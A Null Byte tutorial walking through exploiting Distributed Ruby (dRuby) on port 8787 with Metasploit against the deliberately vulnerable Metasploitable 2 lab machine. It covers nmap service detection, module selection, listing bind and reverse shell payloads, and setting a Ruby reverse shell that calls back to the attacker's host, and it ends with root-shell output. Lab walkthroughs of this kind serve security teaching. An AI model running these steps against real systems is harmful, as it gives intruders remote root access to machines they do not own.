How to Hack Distributed Ruby with Metasploit & Perform Remote Code Execution

Jan 18, 2019 11:51 PM
636831532616147810.jpg

Things that are supposed to make life easier for developers and users are often easy targets for exploitation by hackers. Like many situations in the tech world, there is usually a trade-off between convenience and security. One such trade-off is found in a system known as Distributed Ruby, which can be compromised easily with Metasploit.

Overview of Distributed Ruby

Distributed Ruby, also known as dRuby, or DRb, is a distributed object system for the Ruby programming language that allows for remote method calls between Ruby processes, even if they are on different machines. It uses its own protocol and is written entirely in pure Ruby.

This makes for a flexible service that developers can use to enhance certain programs, but it also opens up a security flaw when not properly implemented, such as in older versions of dRuby. Since this is typically used for smaller projects and novice programs, there usually isn't a lot of concern for security issues.

The Metasploit module we will be using automatically tries to exploit the vulnerable instance_eval and syscall methods in order to compromise the service and obtain a shell. We will be testing this on Metasploitable 2, an intentionally vulnerable virtual machine which is running an insecure version of dRuby.

Step 1: Verify the Vulnerability

The first thing we need to do is confirm that Distributed Ruby (dRuby) is running on our target. When dRuby is initially set up, it binds itself to a specific URI and port, in this case, port 8787. We can run an Nmap scan on this port to make sure.

Use the -sV flag to identify service and version information, followed by the IP address of the target, and finally, set port 8787 with the -p flag, since this port is outside of Nmap's default list of common ports that are scanned.

nmap -sV 172.16.1.102 -p 8787

[*] exec: nmap -sV 172.16.1.102 -p 8787

Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-15 10:07 CST
Nmap scan report for 172.16.1.102
Host is up (0.0013s latency).

PORT     STATE SERVICE VERSION
8787/tcp open  drb     Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
MAC Address: 08:00:27:77:62:6C (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.65 seconds

We can see that the dRuby service is present and running. Now, let's search for an exploit to use.

Step 2: Search for an Exploit

Fire up Metasploit with msfconsole, and type search drb to display any matching results.

msf > search drb

Matching Modules
================

   Name                                                   Disclosure Date  Rank       Check  Description
   ----                                                   ---------------  ----       -----  -----------
   exploit/linux/misc/drb_remote_codeexec                 2011-03-23       excellent  No     Distributed Ruby Remote Code Execution
   exploit/multi/misc/wireshark_lwres_getaddrbyname       2010-01-27       great      No     Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow
   exploit/multi/misc/wireshark_lwres_getaddrbyname_loop  2010-01-27       great      No     Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow (loop)

It looks like the drb_remote_codeexec is exactly what we need. Load up the exploit with the use command followed by the path of the module.

msf > use exploit/linux/misc/drb_remote_codeexec

Now that we are positioned within this module, we can view information about it using the info command.

msf exploit(linux/misc/drb_remote_codeexec) > info

       Name: Distributed Ruby Remote Code Execution
     Module: exploit/linux/misc/drb_remote_codeexec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-03-23

Provided by:
  joernchen <joernchen@phenoelit.de>

Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   Trap
  2   Eval
  3   Syscall

Check supported:
  No

Basic options:
  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  RHOST                   no        The target address
  RPORT  8787             yes       The target port
  URI                     no        The URI of the target host (druby://host:port) (overrides RHOST/RPORT)

Payload information:
  Space: 32768

Description:
  This module exploits remote code execution vulnerabilities in dRuby.

References:
  CVE: Not available
  http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html
  http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/
  http://bugkraut.de/posts/tainting

This gives us some details about the exploit such as platform information, the initial disclosure date of the vulnerability, and options available for this exploit.

Step 3: Launch the Exploit

Now, we're ready to begin setting our options. We can set the IP address of our target with the set rhost command.

msf exploit(linux/misc/drb_remote_codeexec) > set rhost 172.16.1.102

rhost => 172.16.1.102

Next, we can view the available payloads for this module using the show payloads command.

msf exploit(linux/misc/drb_remote_codeexec) > show payloads

Compatible Payloads
===================

   Name                                Disclosure Date  Rank    Check  Description
   ----                                ---------------  ----    -----  -----------
   cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   generic/custom                                       normal  No     Custom Payload
   generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

As you can see, there are quite a bit of options here. For now, we will use a reverse command shell in Ruby. Use set payload to assign the appropriate payload.

msf exploit(linux/misc/drb_remote_codeexec) > set payload cmd/unix/reverse_ruby

payload => cmd/unix/reverse_ruby

Now, we can display the current settings to see where we are at. Use the options command.

msf exploit(linux/misc/drb_remote_codeexec) > options

Module options (exploit/linux/misc/drb_remote_codeexec):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  172.16.1.102     no        The target address
   RPORT  8787             yes       The target port
   URI                     no        The URI of the target host (druby://host:port) (overrides RHOST/RPORT)

Payload options (cmd/unix/reverse_ruby):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Since we specified a reverse shell as our payload, we need to set a listening address for the shell to call back to — this will be the IP address of our local machine. Use set lhost to assign this now.

msf exploit(linux/misc/drb_remote_codeexec) > set lhost 172.16.1.100

lhost => 172.16.1.100

Step 4: Get a Shell

We should be good to go. Type exploit at the prompt, or run, which does the exact same thing but is just shorter. We should see the attack launch and try a couple of methods to exploit the target.

msf exploit(linux/misc/drb_remote_codeexec) > run

[*] Started reverse TCP handler on 172.16.1.100:4444
[*] Trying to exploit instance_eval method
[!] Target is not vulnerable to instance_eval method
[*] Trying to exploit syscall method
[*] attempting x86 execve of .JU4AK4Gh3sOBkaB7
[+] Deleted .JU4AK4Gh3sOBkaB7

whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ip address
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:77:62:6c brd ff:ff:ff:ff:ff:ff
    inet 172.16.1.102/12 brd 172.31.255.255 scope global eth0
    inet6 fe80::a00:27ff:fe77:626c/64 scope link
       valid_lft forever preferred_lft forever

Once it's successful, there should be a blinking cursor as the prompt. We can now execute any command we want, like whoami to view the current user, uname -a to display system information, and ip address to verify that we have a shell on the target system. Since we now have a root shell, we own the system and can basically do whatever we want.

Wrapping Up

In this article, we learned how a simple service intended to provide enhanced functionality to programs was able to be exploited with the goal of attaining root access. Since Distributed Ruby was designed to allow remote communication between processes, inherent security holes were inadvertently opened up. We saw how easily we were able to get a root-level shell on the target system, once again proving just how powerful Metasploit really is.

Cover image by Peter-Lomas/Pixabay; Screenshots by drd_/Null Byte

Comments

No Comments Exist

Be the first, drop a comment!